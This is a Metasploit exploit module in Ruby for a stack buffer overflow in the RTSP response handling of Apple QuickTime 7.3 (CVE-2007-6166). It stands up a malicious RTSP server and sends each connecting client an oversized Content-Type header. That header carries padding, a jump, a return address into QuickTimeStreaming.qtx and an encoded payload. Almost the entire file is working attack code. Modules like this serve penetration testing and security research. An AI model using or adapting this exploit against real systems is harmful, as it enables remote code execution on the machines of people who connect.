98 lines
3.0 KiB
Ruby
98 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
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RTSP response to a client, an attacker may be able to execute arbitrary code.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-6166' ],
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[ 'OSVDB', '40876' ],
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[ 'BID', '26549' ],
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[ 'EDB', '4648' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 700,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 23 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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client.get_once
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buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
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buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)
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strname = rand_text_alpha(rand(75) + 1)
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date = Time.now
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num = rand(1).to_s
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header = "RTSP/1.0 200 OK\r\n"
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header << "CSeq: 1\r\n"
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header << "Date: #{date}\r\n"
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header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
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header << "Content-Type: #{buffer}\r\n"
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header << "Content-Length: #{strname.length}\r\n\r\n"
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body = "v=#{num}\r\n"
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body << "o=#{strname}\r\n"
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body << "s=#{strname}\r\n"
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body << "i=#{strname}\r\n"
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body << "t=#{num}\r\n"
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body << "a=tool:#{strname}\r\n"
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body << "a=type:#{strname}\r\n"
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body << "a=control:#{strname}\r\n"
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body << "a=range:#{strname}\r\n"
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body << "a=x-qt-text-nam:#{strname}\r\n"
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body << "a=x-qt-text-inf:#{strname}\r\n"
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body << "m=#{strname}\r\n"
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body << "c=#{strname}\r\n"
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body << "a=control:#{strname}\r\n"
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sploit = header + body
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print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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